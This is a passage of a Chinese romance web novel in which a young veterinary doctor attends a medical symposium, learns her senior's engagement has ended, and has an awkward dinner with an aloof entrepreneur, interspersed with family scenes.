杨帆听了满满两个耳朵马屁,他不耐烦地看一眼小微,懒懒道:“那是因为神经科主任出差,没办法参加。”
那也很厉害好不好,美妙瞪一眼杨帆。
苏屹笑看着杨帆:“对,我们主任没空,我属于赶鸭子上架。”
一句自谦的话瞬间化解了短暂的小尴尬。
师兄永远是这么谦和。
美妙主动伸出手:“给我吧,我下班就能弄好。”
苏屹道谢:“麻烦了,改天请你吃饭。”
真的吗?道谢后他走了,跟来时一样飘然离去。
美妙的视线从门框慢慢回到自己手上,她握了握手心的u盘。今天的师兄有些不一样,他好像只是面上笑笑,但并不真高兴,又想到,他说有机会吃饭,她心慌慌的乱乱的又高兴起来。
“走得挺快。”杨帆不咸不淡说了句。
美妙转回身,飞刀刺了一眼杨帆。
杨帆没看到,他把椅子慢慢转过来看着她:“我说美医生,你身为肿瘤科的人,给别的科室人干活算怎么回事?”语气有点酸。
大家都闻到了。
美妙轻哼一声,着手整理打印出来的纸张,背对着他,“你管得着吗?”又转过头来,“呃,不对呀,他不是也是你师兄吗?”言外之意他没礼貌。
杨帆被噎,瞬间说不出话。
过了一会儿说:“既然你水平那么高,那我要上台演讲,你也要帮我弄一下。”
美妙磕了磕稿件,真是哭笑不得,这有什么可攀比的,她答应下来:“行,等你先能上台再说。”
“噗嗤!”小微差点喷水。
大家个个肩膀一耸一耸,想笑又憋着不敢笑。
“都笑什么呢?”一片祥和欢快的气氛中,冷不丁冒出一个严肃的低中音。
美妙肩膀一缩,直觉没有好事。
19. 第 19 章
邹文昌背着手站在门口。
怪不得没一个敢接腔。
老头儿怎么跟猫似的走路没声音,吐槽归吐槽,美妙转个身笑嘻嘻:“主任,您来啦。”
邹文昌略略扫视一圈,眼神扫过大喇喇躺在椅子上的杨帆,最后落在美妙手上,问她:“打印好了。”
“好了。“美妙拿订书机咔哒装订好,将稿件交出去,“哪里不合适我再改。”
邹文昌没看,直接接住:“不用改。”说完就走,走出去两步又转头,语带警告,“研讨会上多看多记,少说话。”
美妙扁扁嘴:“知道了。”
等苏屹的稿件改好,办公室基本没人了。
美妙带着u盘去了神经科,想到上次,她没直接进,而是先从门外慢慢走过去观察了一下,里面居然空无一人。
只好给苏屹发消息。
苏屹很快回复:【谢谢,先放你那里,我明早去拿。】
美妙站在门口看了看苏屹的工位,慢慢踱步回去了。
第二天一早,早早来了科室。
小微正在接水:“刚才苏医生来了,说把U盘拿走了,让我跟你说一声。”
美妙丧丧然走到自己工位,昨天挂在笔筒上的u盘果然被摘走了,她坐下来从包里掏出包子啃起来,心说早知道应该藏起来了。
好在周末研讨会,她一定能看到他。
周六这天起了大早,按照提前查好的地铁路线,迎着晨曦阳光,穿过大半个北津市,美妙到了全市最大最豪华的星级酒店。
不像大佬们,他们这些小虾米们不用签到,带着牌子直接通行。
刚进入金碧高耸的会议大厅,美妙就在门边看到了杨帆,她看了一圈,没找到苏屹。
现在会议还没开始,台上亮着一副巨型屏幕,边上的演讲台就显得很小,但旁边围了一圈花束,就很吸睛。
美妙落座后坐了坐直,就像以前在食堂,公共自习室,图书馆她做过很多次那样,下意识的寻找,没一会,她就从或坐或站,或安静或交谈的层层背影中,认出苏屹。
只几秒,就在她眸光一闪,视线固定在左前方清朗的蓝色衬衫时,身后也有人坐下了。
“你快看,苏医生在前面。”
“哪里?”
“就在前面,左边一点点。”
美妙不自觉回头,看到两名叫不出名字的化验室女医生,两人也看到她,彼此都不太熟,美妙略略点头,对方也笑了笑。
她尴尬的扭回头,有种偷听讲话被抓包的感觉。
然而后面两人却没打住话匣子,反而接着聊了起来。
“诶听说了吗?苏医生跟他未婚妻分手了。”
“听谁说的,怎么可能,不是说初恋吗,大学那会就好了,他俩可是我们那届公认的金童玉女。”
轰一下,美妙的大脑嗡嗡嗡响成一片。
未婚妻,他有未婚妻了,她缓缓低头,茫然地盯着笔记本,感觉心头破了个大洞,稍稍压制了一下,这才聚焦到后面的话,他分手了,为什么?他那么好,为什么要跟他分手。
就听后面又说:“怎么不可能,苏医生为了照顾父母先回国,说好了一起回,结果那女的变卦了。”冷讽的轻笑过后,那声音压得更低,“苏医生请假想飞过去挽回来着,结果呢…”
那人切了一声,没话了。
但未尽之意,任谁都懂。
美妙抬头,目光沉沉地落在两排之隔,他后脑勺的发型跟从前不太一样,好像比学校长了一点,依旧干净利落,说话的时候总是微笑着,就像现在,他微侧头,耐心听旁边人讲话,脸上总带着温和,不失礼貌的笑意。
她凭什么不要他?
“发什么呆呢?”刚跟邻座聊完的杨帆敲了敲桌子。
美妙垂眼收回视线,低头看着自己笔记本,默默道:“没什么。”
“没什么是什么?”杨帆趴在桌上,仔细打量她。
美妙偏脸,转向另一边,却看到一道熟悉的身影从自己身边过去,她坐在最左边一个位置,旁边就是过道。
那身影显然也看到了她,略略走出两步,又退了回来,敲了下她桌子,问道:“美医生,玩具带了吗?”
“哈?”美妙抬起头还有点懵,没反应过来。
只感觉旁边有人蹭地站起来,惊喜道:“梁总!”
听声音,是一向眼高于顶的杨帆。
梁时言略略颔首,又扫了眼桌上窝着的小医生,抬步走了。
杨帆不禁咬着后槽牙:“太帅了。”
他眼不眨的盯着梁时言,直到前面也有人注意到这个冷淡优雅气质卓绝的男人,然后与他视线同频,一齐看过去。
周边原本哄杂环绕的交谈声,突然静止。
没人再说话。
美妙不可意思地转头,她看到杨帆一脸崇拜的神情,奇怪得看着他:“至于嘛?”
杨帆目视前方点了点头,而后问她:“你怎么认识的梁总?”又好奇道:“你俩感觉很熟的样子。”
那可真是老太太的裹脚布——又臭又长。
美妙想了想,随意道:“他不就是舒克的主人,在科里见过。”
杨帆还要问什么,美妙的目光已经投到了前排,大屏背景更换,研讨会马上就要开始,杨帆只好落座,低声问:“他刚刚问你要什么玩具?”
美妙没听清他问的什么,她看见苏屹头微微低了下去,不再跟旁边人交谈,他的衬衫衣领后部有些不平整,她觉得他有些落寞。
“你说什么?“她转头问杨帆。
“我说…”杨帆没好气,“我说梁总为什么向你要玩具?”声音有点大,引得左右人看过来,美妙刚想说什么,主持人上台了,她小声提醒:“开始了。”
贵宾等候室里。
吕城看了一眼对面端坐的梁时言,等服务人员出去,他才好奇地开口:“刚才那个小可爱是谁?”
梁时言陷在沙发里,背脊却未完全贴合,长腿交叠,裤线笔直,骨节分明的手随意搭在扶手上,他微微抬着下颌看向吕城,似乎没听懂他在问什么。
吕城略略提高声音:“刚跟杨院长儿子坐一起,窝在桌上的那个女生是谁?”
梁时言似乎回忆了一下:“医生。”
吕城:“……”
这不是废话吗?他又不瞎,怎么可能看不出那个眉眼生动,眸光清亮的小可爱是医生。今天来的除了他们这些企业界从业人员,其他的可不都是医生,满会场的医生。
吕城无语地打量梁时言。
他这人,从不寒暄,从不客套,更不会这么模棱两可。
边想着,他站起来走到门口,饶有兴趣地朝会场看去,可惜人太多视线遮挡看不清。
梁时言淡淡看他一眼,表情没有一点起伏:“舒克的医生
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原来是舒克,吕城走回来坐下,也对,这个地球所有物种加起来,恐怕也只有舒克跟梁时言最亲。
这话,反过来说也成立。
他释怀的笑了下,抬腕看表,“你再熟悉熟悉稿子,业内资源这块你压轴上场。”
梁时言没搭理他,已经无聊地玩起了手机。
研讨会开始后,先是几位主持人致词然后领导发言,等到邹文昌上台时,会议快过半。今天邹老头虽然还是那副严肃的老学究面目,但发言时明显笑容不少,提问环节更是和蔼可亲。
旁边杨帆吐槽:“你说主任要是平常也这么笑呵呵的该多好。”
美妙感同身受,她也留意到大屏上邹主任露着平常十分不易看到的牙花,热烈的掌声中,主任退场,杨帆还想继续吐槽什么,被美妙阻止,“嘘!”
杨帆他转头看台上,神经科那位师兄款款上台了,忍不住轻嗤了一声。
这一声太轻,美妙没听到。
因着师兄手里的稿件也有自己的功劳,虽然这忙微不足道,但,她想着如果早知道他被分手,她应该再多花点时间,再认真一点才是。
愣神的功夫,苏屹简短的分享结束了,他彬彬有礼致谢下台,察觉到耳边没声响,美妙转头对杨帆,“快鼓掌。”
杨帆这才不紧不慢抬着手,装模作样地拍两下,忽然激动起来:“快看。”
“什么呀?”美妙转头,耳边又传来杨帆的惊呼,比刚才更兴奋几分,“梁总居然脱稿演讲!”
美妙看过去。
随着主持人介绍词结束:
“我们今天有幸请到元启生物负责人梁总,掌声欢迎!”
从一角款款走出一个人,那人走到台前,一手调高了话筒,眼瞳在强光下显得格外黑沉,待全场安静全部看向他,他气定神闲面对上百名观众,才开始讲话。
“大家好,我是元启生物负责人梁时言。”低沉冷淡的嗓音经过话筒的传播,莫名好听,莫名磁性。
“他……?”
美妙惊讶的张着嘴,她看看杨帆,又看看台上,这人什么时候变成企业家了,他不是一个游手好闲的富二代吗?
到最后没忍住,她趴在桌上小声问杨帆。
“喂,他到底干嘛的,商二代?富二代?”
杨帆笑她,以一种少见多怪的口吻,简直景仰的语气:“开玩笑,梁总斯坦福大学优秀毕业生好不好,王牌专业的王牌高材生,回国后白手起家开公司,省内去年的年度青年创业领袖。”
美妙咂舌,还是斯坦福,还要多高的智商多好的成绩才考的上啊。
她倒抽一口凉气,缩着脑袋趴在桌上,脑子里嗡嗡响,这震惊的程度不亚于小时候亲眼看见邻居家的大黄狗会自己用马桶,万事还跳起来按水。
平静了良久,她从桌上起来,整个会议大厅环绕着富有磁性的声音,一字一句,声音不高,但每个字都清晰地钻进耳朵里,美妙转头看了看四周,除了她,所有人都目视前方,全部沉浸进去了。
她愣了楞,迟缓地看向主席台。
屏幕上被放大数倍的梁时言,目光沉静地巡弋台下,不闪不避讲着话,没有多余的停顿,没有不确定的尾音,只偶尔在关键处微微停顿,留出恰到好处的沉默,让话语的重量沉入听众心里,自信而娴熟,有一种掌控全场的力度。
美妙慢慢慢慢,低下了头。
20. 第 20 章
她拿起笔,默默翻个页,纸上老老实实画了一个圈,写上6。
然后花费很大力气才继续写下去:发言人元启生物,梁…总,她一直没抬头,一字一顿开始记笔记。
到后面适应了一些,她才偶尔扫一下台上的人,发现他还真是没拿稿子,这怎么记得住呢,不紧张吗?还是连夜全背下来了。
美妙的舌头抵了一会儿上颚,轻轻吐了一口气。
上午的议程在梁时言接近十五分钟,简洁、专业、高效、近乎完美的发言中结束。
随着他走下演讲台,周围才渐渐响起惊叹声,议论声不绝于耳。
杨帆不知道哪来的荣耀,他得意地看眼美妙:“看到没,这才叫真实力。”
“没看到。”美妙纯粹看不惯他阴阳怪气。
午餐由主办方统一提供,各科室同事挨着坐,于是大家约着一起上楼吃饭,一帮小年轻浩浩荡荡占了一张大圆桌。
吃的是中西自助餐,品类繁多,还有水果甜点,比医院食堂强多了,进来也没看到苏屹,不知道是不是走了。美妙随便转了一圈,略略挑个几个菜就回到了餐桌边,有一口没一口地往嘴里送。
一个男人从旁边走过去,顿了下,然后又退了回来,俯身看向她:“小可爱?”
美妙抬头,对上一张探究的圆脸,男人灰色西装笔挺,笑里带着点自来熟的客套,她并不认识。
“你问我吗?”挑着勺子,懵懵的。
男人盯着她挂脖的出入证,直起身问说:“你是舒克的医生?”怎么会有人这么问,美妙着实摸不着头脑,但还是礼貌地站起来自我介绍,“我叫美妙,是动物医院的。”
“噢。”男人若有所思地点头,笑容温朗,“请继续吃吧。”然后继续往餐厅内部走了。
美妙:“……”
什么跟什么啊,她一头雾水看着这人走远,然后跟另个人碰头侧耳交谈,顿时脑袋一僵,那不是梁时言吗,她瞬间有点做贼心虚,收回视线,坐下闷头吃饭。
真是……
她忽然想起,上台前他问她的那句话:美医生,玩具带了吗?
她恼怒地想,她又不就是神仙未卜先知,谁能想到今天能碰到,压根没准备。反正研讨会两天,如果明天他还来,那倒是可以顺带给他,想着,她拿出了手机。
回他:【玩具在办公室今天没带,明天可以给你。】
倒是杨帆跟其他同事一起采集了一圈食物,陆续回来了。
“美医生怎么吃这么点?”
“这里菜色不错,你不是最爱多吃多占?”杨帆说着就把自己的水果捞推了过来。
“你才爱多吃多占?”美妙婉拒了他的施舍,自己站起来,“谢谢,我自己去。”谁还跟好吃的过不去呢。
大家看着两人哄笑,随后集体开动。
恍恍惚惚中转了一圈,美妙其实就装点水果,端着盘子路过甜点区,又顺路夹块兔子模样的甜点,放到了盘子里。
这时她手机响了,在餐桌上嗡嗡震动。
“美医生,电话!”旁边同事盯着她手机笑,“哟,美医生交际面挺广呀。”
同事们都好奇地看向桌上的手机。
杨帆狐疑地看过去,他盯着美妙嗡嗡作响的手机,语气古怪地找人:“美医生…阎王爷找你!”
“干嘛呢?”美妙端着盘子过来,“瞎喊啥呢?”抬起手机的瞬间,脑子就一抽,还真是没喊错,忙侧身接听:“喂?”
等了几秒,那端冷冷淡淡飘来一句话:“谁是阎王爷?”
美妙:“哈?”
她一时脑雾,茫然地动了动嘴角,恍惚之间抬头,竟然对上了一双疏离深沉的眼睛,她好像听到自己脸面吧唧掉地上,碎了一地的声音。
足足五秒后。
她对着电话木木道:“梁总。”
梁时言见她眼也不眨地立着,视线扫过她傻呆呆举着的手机上,最后落在她茫然无措的眼睛里,淡淡道:“挂了吧。”
“噢。”美妙稍稍回神,窘迫地放下手机,相当尴尬地抿了抿嘴,她这会十分迫切地想要解释点什么,但啥词也没想起来,嘴唇干涩。
眼见他在几米外挂掉手机,两步过来。
“梁总?”杨帆站起来打破了沉默。
梁时言点点头,又朝一桌人略略颔首,然后转头看着耳尖充血的美妙,冷峻深邃的脸上没有一丝多余的情绪,“我明天不来。”然后长腿一抬,走了。
饭桌上忽然惊起一片惊异的起哄声。
“我的妈呀,这也太帅了。”
“诶,你们说他多高呀?”
“起码185,今日全场最高没跑了。”
“诶,那咱们美医生跟梁总……”语气暧昧。
“你们别开玩笑了。”美妙心有余悸地坐下,两腮发烫,“我跟他不熟。”这下想熟也熟不了,吐槽人家,给人家起这么恶劣的外号,还被当众发现。
她真是……没脸见人了。
看他刚才的脸色,那真是极度难看,十分不友好。
杨帆也相当不理解:“你怎么给梁总起这么难听的外号?”
“我……”美妙低着头满脸窘迫,“那是我之前瞎打的。”
杨帆摇摇头,真是无语凝噎。
美妙:“……”
头埋得更低了。
电梯门开。
吕城接着电话进来,挂完电话他低声道:“天穹集团那边传来消息,他们准备拍卖临市的一家下属配套工厂。”
电梯镜中的梁时言眸色沉沉,声音也低了下来,“找第三方拍下来,找人代管,不要跟我们扯上关系。”
吕城:“知道了。”
他从镜子里看了眼梁时言,问他:“我看刚才那个医生挺年轻的,医术怎么样?”
梁时言略略侧脸,“怎么,你要看病?”
吕城瞬间黑了脸。
过了会忽然想起什么,“等等,”他开口尾音有了一丝上扬,“如果我没记错的话给舒克做绝育的是院长介绍的主任医生吧?”
梁时言按住开门键走出电梯,“那是她老师。”
吕城“噢”一声,跟着他出去,刚刚微蹙的眉宇缓缓展开。
午休时间大家基本都在小声聊天,美妙坐在位置上屁股像长了钉,怎么坐怎么不舒服。隔了一会,她掏出手机翻开通讯录,最后给梁时言改了个备注,默默敲了个梁总。外出开会的好处就是手机全程静音不用接医院电话,可她一点轻松不起来,望向讲台的眼神总不自觉跑偏。
太阳低低挂在西边,从凉爽的酒店出来,外面的空气依旧蒸腾着白日余温,地铁站入口的梧桐树绿叶层叠,风吹过,卷起的树叶也是一阵炙热。
美妙背着包,蔫呆呆地跟着拥挤的人流涌进站,上车后她给姐姐美丽发了一条消息。
算算时间,沈女士寄往美国的特快包裹,今天应该到了。
回到家,不仅沈女士,美老师也记挂着这件事,原来老两口寄走的不仅压力锅,竟然随附了整整五斤
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花椒麻辣肠。
沈女士很不屑:“我特意买的土猪肉拿去灌的,华人超市卖的怎么比得上,美丽爱吃辣的。”
美妙吃着晚饭,总感觉哪里不对,夹了根土豆丝,低声说:“妈妈,我姐爱吃,我也爱吃,您怎么没想着给我留一根?”
沈女士愣了愣。
美老师祥和的嘴角,立刻浮现一丝尴尬。
打小,只要美丽在的地方,美妙都是跟在后面凑数的那个。美丽像只骄傲的白天鹅,她站在那里自带光芒,即使不煽动翅膀,所有人的目光,所有焦点都会自动汇集,她飞在胡同里,学校里,舞蹈班里,亲戚朋友们的眼睛里,爸妈的心里。
现在她去了美国,也带走了父母的牵挂。
电视兀自响着,正播一档热闹的情景喜剧。
美老师反应快一些,想要开口,“没事,爸爸明天——”
美妙嘿嘿笑了两声,打断他的话,嬉笑着:“爸,你看我妈,被我吓住了吧?”
沈女士神色一缓,丢了个白眼:“你这孩子!”
“我这孩子怎么了?我这孩子好。”美妙扬了扬眉稍,笑着低下头,又夹了一筷头土豆丝放在米饭上,一条一条挑着吃。
晚间,美丽来了电话,美妙拨开了笔记本摄像头,姐姐明艳的脸出现在屏幕上。大洋彼岸那边是白天,光穿过窗户打在美丽的头发上,泛着光圈。
“姐,妈给你邮寄的高压锅你收了吗?”
美丽回头看了眼身后,笑容洋溢:“邮差刚送来,我还没拆箱。”
美妙笑,忽然想起来腊肠,忙道:“姐,姐,你赶紧拆箱,妈给你邮寄的还有腊肠。”嘱咐她赶紧放冰箱。
“怎么还有腊肠啊?”美丽眼睛格外美丽,嗔怪的尾音柔软,“这么麻烦干什么。”
“那不是你爱吃嘛?”美妙趴在桌上,呆呆望着美丽,“你记得蒸米饭的时候放一根,肯定特别好吃。”
美丽凑近摄像头:“你个小吃货。”
美妙眨了眨眼睛:“姐,你什么时候回来,我都想你了。“
“我有假期就回去看你们,你在家要把爸妈照顾好,听到没有。”
“知道了。”美妙起身去喊人,“你等着,我去叫他们。”
美妙在门口喊了一嗓子,走回来关心道:“姐,你跟冯焱还好吗,刚吃饭的时候妈还问呢。”美丽顿了顿,反过来问她:“你别管我了,你找着男朋友没?”
美妙哦了一声,男朋友又不是地上的□□,晚上搁外面河边可以随便捡。
她刚想说点什么岔开话题,这时老两口笑呵呵的进来,她在两人后面的空隙里看着镜头里的美丽,总觉得她刚才表情怪怪的,眼神也有点躲闪。
这一晚,一家四口聊到很晚。
直到第二天早上出门,沈女士脸上都挂着笑,在单元门口遇到邻居大姐就跟人聊天,说起大女儿在美国的近况,就忘了买菜的正事。
美妙背着包,从旁边路过。
邻居阿姨高声叫住她:“妙妙上班了吧,现在在哪儿上班,一个月挣多少钱?”
美妙楞了楞,有点皮笑肉不笑:“阿姨,我现在没挣钱,我还得给单位倒贴呢。”
身后沈女士埋怨了什么她没听,真是哪壶不开提哪壶,她叹口气,想着自己还背着美老师的债务,要等到月底发工资才能还。
又听了一天报告会,直到散场闭会,没再看到苏屹的影子。
第二天清早回医院上班,一进科室,美妙被小微拦住去路。
21. 第 21 章
“美医生?”小微兴高采烈地跳出来。
美妙吓一跳,“你干嘛……”她上前打量,“捡钱啦?”然后兴味索然地在门边打卡。
小微点点头:“差不多吧,今天要发工资。”
“你傻了吧,今天才周一。”
美妙来的路上掰手指算过了要周五才发工资,她拉开椅子丢下包,“你傻了吧,今天周一。”
正说着,杨帆举着手机进来:“哟,财务还挺勤快,一大早发工资。”
“真的吗?”美妙几乎掉泪眼,她日思夜想的血汗钱终于到了吗。
杨帆看着她:“你怎么了?”然后指指她刚放桌上的手机,“你的也来了。”
美妙扭头看,解锁手机,几乎是颤着手点开了未读短信。
美妙:“……?”
她瞪大眼,几乎不敢相信自己的眼睛,“啊?为什么这么少——啊?!”
小微解释说:“你们不是下旬入职的吗?这个月工资,下个月才发。”
杨帆嚣张地翘着二郎腿,“这点钱还不够我买半条裤子。”
“呵呵呵呵呵……”
美妙喉咙耸动,不由自主发出一串不知是哭还是笑的动静,自己都感觉自己疯了。
杨帆转头:“你傻啦?”
美妙坐到椅子上,一指按下开机键:“我没傻,就是有点受刺激。”
她试图安慰自己,这点钱不多但也刚好够还美老师的债务,她都怀疑财务是不是知道她的负债金额,卡着数发的工资,这么想着郁闷的心情好了点。又一想,不对!陈佳佳的怀孕了,她这个当干妈的人总得表示表示,这下又烦躁起来。
因为临近假期工资提前发了,虽然还是自己的钱,但大家伙莫名高兴,就连平常爱板着脸的主任似乎也洋溢着笑容,杨帆当然不会为钱发愁,他也不靠着工资活,晚上打了卡,大家都快乐地走了。
整整一天,也就只有美妙有点沉默。
她收拾了一下桌面,从包里掏出笔记本,想趁着脑子热乎,把研讨会上的笔记整理出来,随意翻了翻,手一顿,扉页上一个标题映入眼瞭。
她愣了楞,上下牙齿一磕,郁郁吐了一口气。
那天的状况过于突然过于措手不及,她已经记不清自己当时说了啥,此刻,她脑海里定格的,只有梁时言捏着电话,看着她,那张毫无情绪的眼睛。
脾气再好的人,被人当众取外号,应该都会生气吧,他何况还是个……
研讨会上压轴表演光芒万丈高高在上的梁总。
美妙没留神,拿手里的笔挠了挠额头,“哦偶”一声吃痛,丢下笔,胡乱翻了翻笔记,最后用力吐了口气,重新摆正笔记本,郑重其事翻开第一页,对着电脑认真地整齐起来。
随着文档越来越长,面前的笔记本逐页后翻,她又不可避免地翻到了那一页。
足足记了三页,她低头从头到尾看了一遍,内容简练逻辑清晰,尤其难得的是它将扎实的数据与清晰的逻辑有力结合,公平地说,这是一篇可圈可点的演讲稿。
就是不知道是不是自己写的?
想到这里,美妙抬头开始往文档里敲字,过了一会儿,她忽然不屑地“嘁”一声,谁家老板自己写稿子啊!不都是底下人代写的嘛,最多临上台前熟悉几遍,或者有比较爱显摆的提前背下来。
她已经完全掩饰不住笑意,敲了个回车:“OK,刚才的好评——收回。”
随后满意地抓起一旁的薯片,哗啦一声撕开后吃起来。
“叩—叩—”有人敲门。
“咔嚓咔嚓”美妙嚼着薯片扭头,正对上一双深邃冷淡的眼睛,梁时瘦削的手停在门边,他抬腕看表,又看着美妙:“这么早吃晚饭。”
美妙楞了下,眨巴着眼反应了两秒,吞下薯片讪讪道:“你怎么来了?”
梁时言似乎笑了下,抬腿往里走,扫了一圈办公室,“玩具呢?”
“噢。”美妙这才放下薯片,原来是为这个,她侧身拉开抽屉:“在这里。”
梁时言在她身后站定,随意扫了眼电脑,顿了下:“这个数据不对,漏了一位数。”
“怎么可能?”美妙一激动,她可是很认真的好不好不可能有错,皱着眉头看回来,“哪里?”
梁时言抬手指着一个行业指标,低沉略带磁性的声音在美妙头顶响起,“这是前年的数据,受贸易政策影响去年的国内需求是有所上升的,大概在1.5-2个百分点。”
美妙盯着他手指的那点,感觉额角有汗,喉咙干涩说不出话,低头翻了页笔记,确实是自己记录错了。
真希望这一幕没发生,这比让她当街社死更可怕!尤其这还是他的发言稿。
梁时言看她低着头,耳垂红红软软的样子,收回手,抵在唇边轻轻咳了下,然后偏头挪了半步,看着墙边档案柜,又问了一遍:“玩具呢?”
美妙感觉到他走开,也下意识咳了下,赶忙从抽屉拿了一只网球出来,“上次那箱玩具被瓜分完了,我只有这几个,都在这里。”
梁时言随意扫了眼她手心:“就这个吧。”
这个网球很小,且上面还印着超大的狗粮广告,美妙觉得有点拿不出手,她站起来,“要不等再有好玩具,我再给舒克吧?”
“不用。”梁时言从兜里掏出手,朝她抬了抬,然后似笑非笑地说:“不是你说的,礼物不能用金钱衡量。”
美妙哈了一声:“……我有说过这话吗?”
反应了一会儿还真想起来这是自己说的,这是被将了一军,她讪讪然一笑,顿觉丢脸。
但她掩饰的很好,随即想到另一件事,故作轻松地将网球抛过去:“你真考上了斯坦福?”
梁时言顺势单手接住球,然后盯着慢条斯理地说:“打听过我?”
瞎想啥呢,美妙立即板起脸,“杨帆说的。”
梁时言点点头,抬头看她:“毕业证花钱买的。”
“什么?”美妙大惊。
随即她便看出他表情里的戏谑,她马上知道他在开玩笑,就凭他刚才随意一扫就能看出她文档里的错误,而且有理有据游刃有余,他
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就不可能是个酒囊饭袋。
她盯着他玩球,撇了撇嘴:“这玩笑一点不好笑。”
梁时言侧头看向门,用一种平淡又不容反驳地语气说:“走吧,去吃饭。”
美妙一邹眉:“哈?”
她来不及考虑去不去去哪里怎么去,就莫名其妙看着他打头走出科室,然后自己莫名其妙关了电脑,一路跟着他出来,他在前面走,她在后头小跑。
当等她坐着副驾彻底离开医院,车跟着晚高峰车流,有一断没一断的往前,没入城市的晚间车流霓虹中,她才后知后觉地反应过来。
这太奇怪了!
她干嘛这么听话。
“怎么不说话?”梁时言问她,他单手搭着方向盘,指节修长,窗外灯光掠过,在他白皙的手上忽明忽暗,像捻着光。
美妙感觉脑袋里干巴巴的,她别扭地看向窗户,整个人也特别不自在。肚子里的问题,像演讲稿是不是你自己写的这种低级问题,她是问不出来了,感觉有点自取其辱的意思。
于是她“哦”了一声,不知道该说什么。
梁时言偏头看了她一眼。
过了一会儿,车头一拐,美妙想出一个问题,问他:“你智商多少啊?”
这个问题梁时言大概怎么也没有想到,他顿了下,车子流畅地拐了个弯,他看着前面的路况,“怎么,你智商不高?”
“我……”人家说智商高的人一般情商不高,看来是对的,美妙冷嗖嗖地看着他,不说话。
梁时言却解开安全带,“下车。”
车头前方,是一家透着经典气息的西餐厅。墨绿色调的低调门廊下,点缀着两盏暖黄色的水晶壁灯,透过一排落地窗能瞥见铺着白色桌布的餐桌,静谧而雅致。
梁时言在前,美妙后头跟着,在她还在打量周围环境的时候,菜已经点完,只等了几分钟,前菜已经上桌。
“这什么啊?”美妙问服务生。
“盆栽沙拉。”服务生客气地介绍。
美妙点点头,等人走了,才低声问梁时言,“你请我吃土哇?”说着便拿着勺子往里挖挖,这才发现顶上是一层巧克力粉。
梁时言没理解她的脑洞,默默吃饭,过了半响,开口问:“我电话备注你改过来了?”
“那当然,”美妙闻言放下夹龙虾的筷子,哗啦啦翻包拿出手机,调出通讯录举给他看,“喏,早改了。”
只见屏幕上头一串巨长的抬头:北津市元启生物公司梁时言。
梁时言定定看了几秒,忽然眼睫一垂,抬手随意叉了块肉,“这顿饭咱俩AA。”
美妙很懵地啊了一声,拔高声音叫道,“为什么呀?”
这声音不大却很突兀,引得大厅邻座的客人们齐齐抬头看过来,美妙发觉自己失言,但她管不了这么多,还是小声抗议道:“不是你让来的吗,这都是你点的菜?”
梁时言垂眸,扫一圈餐桌:“可你吃的多。”
美妙:“……?!”
她像是被什么东西蛰了下,无语震惊全挂在脸上。
22. 第 22 章
梁时言没吭声,也没看她,只慢条斯理地吃菜,还抬手抿了口酒,还是水。
妈呀,那表情那动作……真是太欠揍!
美妙不禁咬牙切齿!
是,她承认,她是饿了就吃的多一点,可也不是她要来的呀,明明是他拉着她来的好不好,她迟缓地看着满桌的菜,明明菜单长什么模样都没见着好不好?
果然无商不奸,果然天下老板一般黑!
她绝对不该因为他一个小小的成功演讲,就改变对他的看法。
人啊,就是江山易改本性难移。
跟才华没关系!
美妙自认倒霉,她很慢很慢的点着头,发狠看着梁时言:“行,AA就AA。”
谁怕谁?反正老子今天发工资,工资不够刷信用卡,大不了吃了这一顿这辈子再也不来,就算这人是天王老子,也别想花她一毛钱。
梁时言的手机在这个时候震了一下,他停下筷子,看了眼美妙,拿起来走向窗边。
美妙拽了下餐巾擦了下嘴巴,继续吃。
反正AA。
多吃多占。
“喂?”梁时言望向窗外,电话那头的吕城正站在二楼窗边,探头看着楼下停车区,“梁时言,你在外面吃饭呢?”
“嗯。”他言辞简短。
吕城笑了笑,视线很快锁定他车牌:“跟谁?”
“你到底什么事,有事快说?”梁时言明显不耐烦听他瞎扯,“没事我挂了。”
“有事有事。”他实在想不出这家伙跟哪个同行吃饭,吕城说正事,“天穹集团那家配套工厂,拍卖底价比我们跟我们预估的差不多,总体……”
隔着远听不清,但美妙没有偷听别人电话的习惯。
她趁机看了眼服务生的位置,勾勾手招她过来,低声问:“账单呢,一共多少钱?”
这家餐厅她没来过,ap团购上也没有,她数米而炊的日子实在不好过,急于想知道自己到底还要出多少血。
不得不说,美妙虽然有心理预期,但在看到总金额的一瞬间,她但是嘶了声,脑门瞬间充血,堪堪忍住脏话,努力克制了一下才冷静下来。
“好的,谢谢。”她听见自己的心在滴血。
她剜一眼背对着她讲电话的梁时言,然后拿起自己手机:“麻烦结账,我们俩AA,我只付我那份。”另只手指着对面的酒杯,“这个我没喝,他自己付。”
服务生明显愣住,怔了半天,转脸看看窗边的客人又看向美妙,有点闹不明白什么情况,最后又看了眼梁时言,试探着笑说:“女士,梁总在我们餐厅都是挂公司账,不用付钱。”
美妙:“……啊?”
她脸颊一轴。
然后,尴尬地目送小姐姐离开,一回头,他就见梁时言走回来,他显然看到了刚才令人脚趾扣地的一幕,平直的嘴角牵着一抹笑。
美妙冷脸瞪着他:“你觉得很好笑?”
梁时言坐下,细长的眼尾微微下压,却没看她,“好玩。”
“好玩?!”
美妙不解地看着梁时言,她怎么觉得一点不好笑也不好玩,盯着他半响,她淡淡地站起来:“我吃饱了。”然后拿上包,头也没回的走了。
梁时言放手机的手一顿。
待他抬脸将视线移动至门口,早不见了美妙的影子。
这时服务员拿了打包纸袋过来,“梁总,这是打包的——”
“不要了。”他打断服务生,默默静坐一会儿,也从座位上站起来。
服务生嘴巴惊讶地张开,又随着一路出去的高挺身影缓缓合上,她兴冲冲回前台跟同事咬耳朵:“这女生你见过没?”
同事摇头,其实也一直关注着动静,“没,梁总一向高冷,除了自己来都是跟吕总。这还是头一回带女生来吃饭。”
服务生扬了扬手里的招牌蛋糕:“那这怎么办?”
“自己吃呗,这么贵不吃白不吃。”
转天早晨,厨房里美老师正熬粥,满屋飘香。
美妙从卧室探头,发现客厅没人,反手关上门,没过一会儿又出来,小碎步溜进厨房,挨近美老师,将一个信封塞他口袋,悄声说:“还您钱,我发工资了。”
“真的?”美老师不动声色搅着锅里的紫薯粥,压抑住兴奋的声音,“我女儿太棒了。”
“谢谢爸爸。”美妙自豪的笑笑。
“我女儿——”本想互捧几句,忽然传来拖鞋踢踏声,美老师慌忙住嘴,话锋一转,喊了句:“吃饭啦!”美妙秒懂,打着哈欠出去,撞上买蒸饺回来的沈女士,时间掐的刚刚好。
这边还完美老师的债务,接下来就是陈佳佳的礼物。
上班路上美妙问她想要什么,一直等到下午陈佳佳才回消息,不过没说想要什么,而是回:【刚出炉,第一个发你。】
等走出超声室,图片才缓缓刷了出来。
